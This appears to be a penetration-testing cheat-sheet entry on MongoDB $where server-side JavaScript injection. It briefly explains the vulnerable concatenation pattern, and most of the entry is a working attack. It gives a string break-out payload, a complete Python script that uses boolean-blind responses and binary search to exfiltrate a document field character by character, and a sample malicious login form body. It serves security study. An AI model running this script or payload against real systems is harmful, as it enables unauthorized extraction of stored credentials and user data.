SSJI
SSJI boolean-blind exfil ($where break-out, binary search)
Server-side JavaScript injection occurs when an application builds JavaScript source from attacker-controlled text and asks the database or JavaScript engine to evaluate it. MongoDB’s $where operator is one possible sink: it evaluates a JavaScript predicate for a document and keeps that document when the predicate returns a truthy result.
A vulnerable source commonly has this shape:
const predicate = 'this.username == "' + userInput + '"';
const user = users.findOne({$where: predicate});The payload closes the original string and inserts an attacker-controlled Boolean expression:
injected value:
" || (<EXPRESSION>) || ""=="
evaluated predicate:
this.username == "" || (<EXPRESSION>) || ""==""The first and final comparisons are false. The complete predicate is therefore truthy exactly when <EXPRESSION> is true. oracle() sends that expression and returns True only when the response contains a known success marker.
length() tests <FIELD>.length == <NUMBER> until it finds the field length. dump() then calls charCodeAt(<POSITION>), which returns the numeric UTF-16 code unit for one character. The configured range 32 through 126 covers printable ASCII. Binary search asks whether that number is less than or equal to a midpoint and reduces the range to one character in approximately seven requests.
import string, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
URL = "http://target/index.php"
PROXIES = {}
TRUE_STRING = "Welcome" # present only when the injected predicate is TRUE
FIELD = "this.username" # document field to exfiltrate
def oracle(expr):
"""Injects a server-side JS boolean `expr`; True when it evaluates truthy."""
payload = f'" || ({expr}) || ""=="'
r = s.post(URL, data={"username": payload, "password": "test"}, verify=False, timeout=10, proxies=PROXIES)
is_true = r.status_code == 200 and TRUE_STRING in r.text
return is_true
def length():
n = 0
while not oracle(f"{FIELD}.length == {n}"):
n += 1
return n
def dump():
out = ""
for pos in range(length()):
lo, hi = 32, 126 # printable ASCII bounds
while lo < hi: # binary search: ~7 reqs/char
mid = (lo + hi) // 2
if oracle(f"{FIELD}.charCodeAt({pos}) <= {mid}"):
hi = mid
else:
lo = mid + 1
out += chr(lo)
print(f"\r[+] {out}", end="", flush=True)
print()
return outForm field carrying the SSJI break-out payload
username=" || (this.username.charCodeAt(0) <= 79) || ""=="&password=testRecovered field
[+] <RECOVERED_FIELD>Find by: nosql, mongodb, ssji, $where, server-side javascript, boolean blind, charCodeAt, binary search, login marker, string break-out · Source: CWEE/NoSQLi SSJI $where boolean blind